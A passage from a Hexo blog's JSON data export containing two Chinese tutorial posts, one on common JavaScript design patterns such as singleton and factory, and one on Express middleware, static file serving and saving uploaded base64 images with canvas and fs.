方法\nXHRH.prototype.createFactory = function () {\n var XMLHttp = null\n\n if (window.XMLHrrpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveXObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\n```\n\n#### 应用场景\n\n1. 对象的构建十分复杂\n2. 需要依赖具体环境创建不同实例\n3. 处理大量具有相同属性的小对象\n\n#### 优点\n\n1. 弱化对象间的耦合,防止代码重复。\n2. 重复性的代码可以放在父类中去编写,子类继承于父类的所有成员属性和方法,子类只专注于实现自己的业务逻辑。\n\n#### 缺点\n\n当工厂增加到一定程度的时候,提高了代码的复杂度,可读性下降。而且没有解决对象的识别问题,既怎么知道一个对象的类型。\n","source":"_posts/js常见的九种设计模式.md","raw":"---\ntitle: js常见的九种设计模式\ndate: 2018-03-09 10:31:48\ntags: [js methods]\ncategories: web前端\n---\n## 介绍\n\n设计模式(DP)是一套被反复使用,多数人知晓的、经过分类编目的、代码设计经验的总结。\n\n## 分类\n\n* 单体模式\n* 单例模式\n* 工厂模式\n* 观察者模式(发布订阅者模式)\n* 策略模式\n* 模块模式\n* 模板模式\n* 代理模式\n* 外观模式\n\n> 设计模式目前有23种,目前只列举出了在实战中比较常用的几种。\n\n## 九种\n\n### 单体模式\n\n#### 概念\n\n单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象,如果它可以被实例化,那么它只能被实例化一次。\n\n#### 特点\n\n1. 可以用来划分命名空间,从而清除全局变量所带来的危险。\n2. 利用分支技术来封装浏览器之间的差异。\n3. 可以把代码组织的更为一体。\n\n#### 代码实现\n\n```js\nvar Singleton = {\n attribute: true,\n method1: function () {},\n method2: function () {}\n}\n```\n\n#### 应用场景\n\n单体模式我们平时应用的比较多,相当于我们把代码封装在一起,只暴露一个入口,防止对全局的污染。\n\n### 单例模式\n\n#### 概念\n\n单例模式定义了一个对象的创建过程,此对象只有一个单独的实例,并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例,实现的方法一般是先判断实例存在与否,如果存在直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。\n\n#### 代码实现\n\n```js\nvar single = (function () {\n var unique\n\n function getInstance () {\n // 如果该实例存在,则直接返回,否则就对其实例化\n if (unique === undefined) {\n unique = new Construct()\n }\n return unique\n }\n function Construct () {\n //生成单例的构造函数的代码\n }\n\n return {\n getInstance\n }\n\n})()\n\n```\n\n上面的代码中,unique 便是返回对象的引用,而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。\n可以通过 single.getInstance() 来获取到单例,并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。\n\n#### 应用场景\n\n单例模式是一种常用的模式,有一些对象我们往往只需要一个,比如全局缓存、浏览器的 window 对象。\n\n1. 可以用它来划分命名空间。\n2. 借助单例模式,可以把代码组织的更为一致,方便阅读和维护。\n\n### 工厂模式\n\n#### 概念\n\n提供创建对象的接口,根据参数产生相应的对象,就是把成员对象的创建工作交给一个外部对象,好处在于消除对象之间的耦合。\n\n#### 分类\n\n* 简单工厂模式:使用一个类,通常为单体,来生成实例。\n* 复杂工厂模式:将其成员对象的实例化推到子类中,子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理,这些处理会被子类继承,子类之间是相互独立的,具体的业务逻辑会放在子类中进行编写。\n\n#### 代码实现\n\n简单工厂模式\n\n```js\nvar XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n var XMLHttp = null\n\n if (window.XMLHttpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\nvar Ajax = function () {\n var XMLHttp = XHRFactory.createXMLHttp()\n}\n```\n\n复杂工厂模式:先设计一个抽象类,这个类不能被实例化,只能用来派生子类,最后通过对子类的拓展实现工厂方法。\n\n```js\nvar XHRF = function () {}\n\nXHRF.prototype = {\n createFactory: function () {\n throw new Error('this is an abstract class')\n }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类,实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n var XMLHttp = null\n\n if (window.XMLHrrpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveXObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\n```\n\n#### 应用场景\n\n1. 对象的构建十分复杂\n2. 需要依赖具体环境创建不同实例\n3. 处理大量具有相同属性的小对象\n\n#### 优点\n\n1. 弱化对象间的耦合,防止代码重复。\n2. 重复性的代码可以放在父类中去编写,子类继承于父类的所有成员属性和方法,子类只专注于实现自己的业务逻辑。\n\n#### 缺点\n\n当工厂增加到一定程度的时候,提高了代码的复杂度,可读性下降。而且没有解决对象的识别问题,既怎么知道一个对象的类型。\n","slug":"js常见的九种设计模式","published":1,"updated":"2018-03-09T05:49:42.491Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y520010vzqhk6w7jg8k","content":"设计模式(DP)是一套被反复使用,多数人知晓的、经过分类编目的、代码设计经验的总结。
\n\n\n设计模式目前有23种,目前只列举出了在实战中比较常用的几种。
\n
单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象,如果它可以被实例化,那么它只能被实例化一次。
\nvar Singleton = {\n attribute: true,\n method1: function () {},\n method2: function () {}\n}\n
\n单体模式我们平时应用的比较多,相当于我们把代码封装在一起,只暴露一个入口,防止对全局的污染。
\n单例模式定义了一个对象的创建过程,此对象只有一个单独的实例,并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例,实现的方法一般是先判断实例存在与否,如果存在直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。
\nvar single = (function () {\n var unique\n\n function getInstance () {\n // 如果该实例存在,则直接返回,否则就对其实例化\n if (unique === undefined) {\n unique = new Construct()\n }\n return unique\n }\n function Construct () {\n //生成单例的构造函数的代码\n }\n\n return {\n getInstance\n }\n\n})()\n\n
\n上面的代码中,unique 便是返回对象的引用,而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。
可以通过 single.getInstance() 来获取到单例,并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。
单例模式是一种常用的模式,有一些对象我们往往只需要一个,比如全局缓存、浏览器的 window 对象。
\n提供创建对象的接口,根据参数产生相应的对象,就是把成员对象的创建工作交给一个外部对象,好处在于消除对象之间的耦合。
\n简单工厂模式
\nvar XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n var XMLHttp = null\n\n if (window.XMLHttpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\nvar Ajax = function () {\n var XMLHttp = XHRFactory.createXMLHttp()\n}\n
\n复杂工厂模式:先设计一个抽象类,这个类不能被实例化,只能用来派生子类,最后通过对子类的拓展实现工厂方法。
\nvar XHRF = function () {}\n\nXHRF.prototype = {\n createFactory: function () {\n throw new Error('this is an abstract class')\n }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类,实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n var XMLHttp = null\n\n if (window.XMLHrrpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveXObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\n
\n当工厂增加到一定程度的时候,提高了代码的复杂度,可读性下降。而且没有解决对象的识别问题,既怎么知道一个对象的类型。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"设计模式(DP)是一套被反复使用,多数人知晓的、经过分类编目的、代码设计经验的总结。
\n\n\n设计模式目前有23种,目前只列举出了在实战中比较常用的几种。
\n
单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象,如果它可以被实例化,那么它只能被实例化一次。
\nvar Singleton = {\n attribute: true,\n method1: function () {},\n method2: function () {}\n}\n
\n单体模式我们平时应用的比较多,相当于我们把代码封装在一起,只暴露一个入口,防止对全局的污染。
\n单例模式定义了一个对象的创建过程,此对象只有一个单独的实例,并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例,实现的方法一般是先判断实例存在与否,如果存在直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。
\nvar single = (function () {\n var unique\n\n function getInstance () {\n // 如果该实例存在,则直接返回,否则就对其实例化\n if (unique === undefined) {\n unique = new Construct()\n }\n return unique\n }\n function Construct () {\n //生成单例的构造函数的代码\n }\n\n return {\n getInstance\n }\n\n})()\n\n
\n上面的代码中,unique 便是返回对象的引用,而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。
可以通过 single.getInstance() 来获取到单例,并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。
单例模式是一种常用的模式,有一些对象我们往往只需要一个,比如全局缓存、浏览器的 window 对象。
\n提供创建对象的接口,根据参数产生相应的对象,就是把成员对象的创建工作交给一个外部对象,好处在于消除对象之间的耦合。
\n简单工厂模式
\nvar XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n var XMLHttp = null\n\n if (window.XMLHttpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\nvar Ajax = function () {\n var XMLHttp = XHRFactory.createXMLHttp()\n}\n
\n复杂工厂模式:先设计一个抽象类,这个类不能被实例化,只能用来派生子类,最后通过对子类的拓展实现工厂方法。
\nvar XHRF = function () {}\n\nXHRF.prototype = {\n createFactory: function () {\n throw new Error('this is an abstract class')\n }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类,实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n var XMLHttp = null\n\n if (window.XMLHrrpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveXObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\n
\n当工厂增加到一定程度的时候,提高了代码的复杂度,可读性下降。而且没有解决对象的识别问题,既怎么知道一个对象的类型。
\n"},{"title":"learn express","date":"2017-12-20T02:27:29.000Z","_content":"\n## 深入了解express\n\n### 构建一个 express 实例\n> cnpm i express-generator -g\n\n### 目录结构\n```\n.\n├── app.js\n├── bin\n│ └── www\n├── package.json\n├── public\n│ ├── images\n│ ├── javascripts\n│ └── stylesheets\n│ └── style.css\n├── routes\n│ ├── index.js\n│ └── users.js\n└── views\n ├── error.jade\n ├── index.jade\n └── layout.jade\n\n7 directories, 9 files\n```\n\n### 中间件\n#### 应用级中间件\n```\n\napp.use(function (req, res, next) {\n ...\n\n next()\n}, function (req, res, next) {\n console.log('Request Type:', req.method);\n next();\n})\n\napp.use('/user/', function(req, res, next){\n ...\n\n next()\n})\n路由和句柄函数,处理get(post)请求\napp.get('/', function() {\n res.send('USER')\n})\n```\n#### 路由级中间件\n> var app = express()\n> var router = express.Router()\n```\n和上面类似,只是写法不同\nrouter.use('/', function(req, res, next) {\n ...\n\n next()\n})\n\n\napp.use('/', router)\n```\n\n#### 错误处理中间件\n```\napp.use(function (err, req, res, next) {\n console.error(err.stack);\n res.status(500).send('Something broke!');\n});\n```\n\n#### 内置中间件\n> 唯一内置中间件:express.static()\n* dotfiles\t\n是否对外输出文件名以点(.)开头的文件。 \n可选值为 “allow”、“deny” 和 “ignore”\t \n默认:ignore\n* etag\t\n是否启用 etag 生成\t\n默认:true\n* extensions\t\n设置文件扩展名备份选项\t\n默认:[]\n* index\t\n发送目录索引文件,设置为 false 禁用目录索引。\t\nMixed\t\n默认:“index.html”\n* lastModified\t\n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。\t\t\n默认:true\n* maxAge\t\n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。\t\n默认:0\n* redirect\t\n当路径为目录时,重定向至 “/”。\t\t\n默认:true\n* setHeaders\t\n设置 HTTP 头以提供文件的函数。\t\nFunction\t \n```\napp.use(express.static('public', options));\n```\n\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分,并对上传内容大小作出限制\n```\napp.use(bodyParser.json({ limit: '50mb' }));\napp.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));\n```\n#### canvas \n```\n var base64Data = req.body.imgData;\n var img = new Canvas.Image;\n\n img.onload = function(){\n var w = img.width;\n var h = img.height;\n var canvas = new Canvas(w, h);\n var ctx = canvas.getContext('2d');\n ctx.drawImage(img, 0, 0);\n\n var out = fs.createWriteStream(__dirname + '/crop.jpg');\n var stream = canvas.createJPEGStream({\n bufsize : 2048,\n quality : 80\n });\n\n stream.on('data', function(chunk){\n out.write(chunk);\n });\n\n stream.on('end', function(){\n out.end();\n res.send(\"上传成功!\");\n });\n }\n\n img.onerror = function(err){\n res.send(err);\n }\n\n img.src = base64Data;\n```\n#### fs模块 (node自带模块)\n对文件执行读取和写入\n```\nfunction(req, res, next) {\n if (req.body.formFile) {\n // 对象转换为字符串\n \n var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, \"\");\n \n var dataBuffer = new Buffer(base64Data, 'base64');\n \n fs.writeFile(\"out.png\", dataBuffer, function (err) {\n if (err) {\n res.send(err);\n } else {\n res.send(\"保存成功!\");\n }\n });\n }\n}\n```","source":"_posts/learn-express.md","raw":"---\ntitle: learn express\ndate: 2017-12-20 10:27:29\ntags: [express]\ncategories: nodeJS\n---\n\n## 深入了解express\n\n### 构建一个 express 实例\n> cnpm i express-generator -g\n\n### 目录结构\n```\n.\n├── app.js\n├── bin\n│ └── www\n├── package.json\n├── public\n│ ├── images\n│ ├── javascripts\n│ └── stylesheets\n│ └── style.css\n├── routes\n│ ├── index.js\n│ └── users.js\n└── views\n ├── error.jade\n ├── index.jade\n └── layout.jade\n\n7 directories, 9 files\n```\n\n### 中间件\n#### 应用级中间件\n```\n\napp.use(function (req, res, next) {\n ...\n\n next()\n}, function (req, res, next) {\n console.log('Request Type:', req.method);\n next();\n})\n\napp.use('/user/', function(req, res, next){\n ...\n\n next()\n})\n路由和句柄函数,处理get(post)请求\napp.get('/', function() {\n res.send('USER')\n})\n```\n#### 路由级中间件\n> var app = express()\n> var router = express.Router()\n```\n和上面类似,只是写法不同\nrouter.use('/', function(req, res, next) {\n ...\n\n next()\n})\n\n\napp.use('/', router)\n```\n\n#### 错误处理中间件\n```\napp.use(function (err, req, res, next) {\n console.error(err.stack);\n res.status(500).send('Something broke!');\n});\n```\n\n#### 内置中间件\n> 唯一内置中间件:express.static()\n* dotfiles\t\n是否对外输出文件名以点(.)开头的文件。 \n可选值为 “allow”、“deny” 和 “ignore”\t \n默认:ignore\n* etag\t\n是否启用 etag 生成\t\n默认:true\n* extensions\t\n设置文件扩展名备份选项\t\n默认:[]\n* index\t\n发送目录索引文件,设置为 false 禁用目录索引。\t\nMixed\t\n默认:“index.html”\n* lastModified\t\n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。\t\t\n默认:true\n* maxAge\t\n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。\t\n默认:0\n* redirect\t\n当路径为目录时,重定向至 “/”。\t\t\n默认:true\n* setHeaders\t\n设置 HTTP 头以提供文件的函数。\t\nFunction\t \n```\napp.use(express.static('public', options));\n```\n\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分,并对上传内容大小作出限制\n```\napp.use(bodyParser.json({ limit: '50mb' }));\napp.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));\n```\n#### canvas \n```\n var base64Data = req.body.imgData;\n var img = new Canvas.Image;\n\n img.onload = function(){\n var w = img.width;\n var h = img.height;\n var canvas = new Canvas(w, h);\n var ctx = canvas.getContext('2d');\n ctx.drawImage(img, 0, 0);\n\n var out = fs.createWriteStream(__dirname + '/crop.jpg');\n var stream = canvas.createJPEGStream({\n bufsize : 2048,\n quality : 80\n });\n\n stream.on('data', function(chunk){\n out.write(chunk);\n });\n\n stream.on('end', function(){\n out.end();\n res.send(\"上传成功!\");\n });\n }\n\n img.onerror = function(err){\n res.send(err);\n }\n\n img.src = base64Data;\n```\n#### fs模块 (node自带模块)\n对文件执行读取和写入\n```\nfunction(req, res, next) {\n if (req.body.formFile) {\n // 对象转换为字符串\n \n var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, \"\");\n \n var dataBuffer = new Buffer(base64Data, 'base64');\n \n fs.writeFile(\"out.png\", dataBuffer, function (err) {\n if (err) {\n res.send(err);\n } else {\n res.send(\"保存成功!\");\n }\n });\n }\n}\n```","slug":"learn-express","published":1,"updated":"2018-01-22T05:59:12.396Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y530013vzqhoq275rpx","content":"\n\ncnpm i express-generator -g
\n
.\n├── app.js\n├── bin\n│ └── www\n├── package.json\n├── public\n│ ├── images\n│ ├── javascripts\n│ └── stylesheets\n│ └── style.css\n├── routes\n│ ├── index.js\n│ └── users.js\n└── views\n ├── error.jade\n ├── index.jade\n └── layout.jade\n\n7 directories, 9 files\n
<!-- 没有挂载路径 -->\napp.use(function (req, res, next) {\n ...\n\n next()\n}, function (req, res, next) {\n console.log('Request Type:', req.method);\n next();\n})\n<!-- 挂载路径的中间件 -->\napp.use('/user/', function(req, res, next){\n ...\n\n next()\n})\n路由和句柄函数,处理get(post)请求\napp.get('/', function() {\n res.send('USER')\n})\n
\n\nvar app = express()
\n
var router = express.Router()`
和上面类似,只是写法不同
router.use(‘/‘, function(req, res, next) {
…
next()\n
})
\n\napp.use(‘/‘, router)
\n\n#### 错误处理中间件\n
app.use(function (err, req, res, next) {
console.error(err.stack);
res.status(500).send(‘Something broke!’);
});
\n#### 内置中间件\n> 唯一内置中间件:express.static()\n* dotfiles \n是否对外输出文件名以点(.)开头的文件。 \n可选值为 “allow”、“deny” 和 “ignore” \n默认:ignore\n* etag \n是否启用 etag 生成 \n默认:true\n* extensions \n设置文件扩展名备份选项 \n默认:[]\n* index \n发送目录索引文件,设置为 false 禁用目录索引。 \nMixed \n默认:“index.html”\n* lastModified \n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。 \n默认:true\n* maxAge \n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。 \n默认:0\n* redirect \n当路径为目录时,重定向至 “/”。 \n默认:true\n* setHeaders \n设置 HTTP 头以提供文件的函数。 \nFunction \n
app.use(express.static(‘public’, options));
\n\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分,并对上传内容大小作出限制\n
app.use(bodyParser.json({ limit: ‘50mb’ }));
app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));
#### canvas \n
var base64Data = req.body.imgData;\nvar img = new Canvas.Image;\n\nimg.onload = function(){\n var w = img.width;\n var h = img.height;\n var canvas = new Canvas(w, h);\n var ctx = canvas.getContext('2d');\n ctx.drawImage(img, 0, 0);\n\n var out = fs.createWriteStream(__dirname + '/crop.jpg');\n var stream = canvas.createJPEGStream({\n bufsize : 2048,\n quality : 80\n });\n\n stream.on('data', function(chunk){\n out.write(chunk);\n });\n\n stream.on('end', function(){\n out.end();\n res.send("上传成功!");\n });\n}\n\nimg.onerror = function(err){\n res.send(err);\n}\n\nimg.src = base64Data;\n
#### fs模块 (node自带模块)\n对文件执行读取和写入\n
function(req, res, next) {
if (req.body.formFile) {
// 对象转换为字符串
var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, “”);
var dataBuffer = new Buffer(base64Data, ‘base64’);
fs.writeFile(“out.png”, dataBuffer, function (err) {
if (err) {
res.send(err);
} else {
res.send(“保存成功!”);
}
});
}
}`
\n\ncnpm i express-generator -g
\n
.\n├── app.js\n├── bin\n│ └── www\n├── package.json\n├── public\n│ ├── images\n│ ├── javascripts\n│ └── stylesheets\n│ └── style.css\n├── routes\n│ ├── index.js\n│ └── users.js\n└── views\n ├── error.jade\n ├── index.jade\n └── layout.jade\n\n7 directories, 9 files\n
<!-- 没有挂载路径 -->\napp.use(function (req, res, next) {\n ...\n\n next()\n}, function (req, res, next) {\n console.log('Request Type:', req.method);\n next();\n})\n<!-- 挂载路径的中间件 -->\napp.use('/user/', function(req, res, next){\n ...\n\n next()\n})\n路由和句柄函数,处理get(post)请求\napp.get('/', function() {\n res.send('USER')\n})\n
\n\nvar app = express()
\n
var router = express.Router()`
和上面类似,只是写法不同
router.use(‘/‘, function(req, res, next) {
…
next()\n
})
\n\napp.use(‘/‘, router)
\n\n#### 错误处理中间件\n
app.use(function (err, req, res, next) {
console.error(err.stack);
res.status(500).send(‘Something broke!’);
});
\n#### 内置中间件\n> 唯一内置中间件:express.static()\n* dotfiles \n是否对外输出文件名以点(.)开头的文件。 \n可选值为 “allow”、“deny” 和 “ignore” \n默认:ignore\n* etag \n是否启用 etag 生成 \n默认:true\n* extensions \n设置文件扩展名备份选项 \n默认:[]\n* index \n发送目录索引文件,设置为 false 禁用目录索引。 \nMixed \n默认:“index.html”\n* lastModified \n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。 \n默认:true\n* maxAge \n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。 \n默认:0\n* redirect \n当路径为目录时,重定向至 “/”。 \n默认:true\n* setHeaders \n设置 HTTP 头以提供文件的函数。 \nFunction \n
app.use(express.static(‘public’, options));
\n\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分,并对上传内容大小作出限制\n
app.use(bodyParser.json({ limit: ‘50mb’ }));
app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));
#### canvas \n
var base64Data = req.body.imgData;\nvar img = new Canvas.Image;\n\nimg.onload = function(){\n var w = img.width;\n var h = img.height;\n var canvas = new Canvas(w, h);\n var ctx = canvas.getContext('2d');\n ctx.drawImage(img, 0, 0);\n\n var out = fs.createWriteStream(__dirname + '/crop.jpg');\n var stream = canvas.createJPEGStream({\n bufsize : 2048,\n quality : 80\n });\n\n stream.on('data', function(chunk){\n out.write(chunk);\n });\n\n stream.on('end', function(){\n out.end();\n res.send("上传成功!");\n });\n}\n\nimg.onerror = function(err){\n res.send(err);\n}\n\nimg.src = base64Data;\n
#### fs模块 (node自带模块)\n对文件执行读取和写入\n
function(req, res, next) {
if (req.body.formFile) {
// 对象转换为字符串
var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, “”);
var dataBuffer = new Buffer(base64Data, ‘base64’);
fs.writeFile(“out.png”, dataBuffer, function (err) {
if (err) {
res.send(err);
} else {
res.send(“保存成功!”);
}
});
}
}`
app.use()
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bk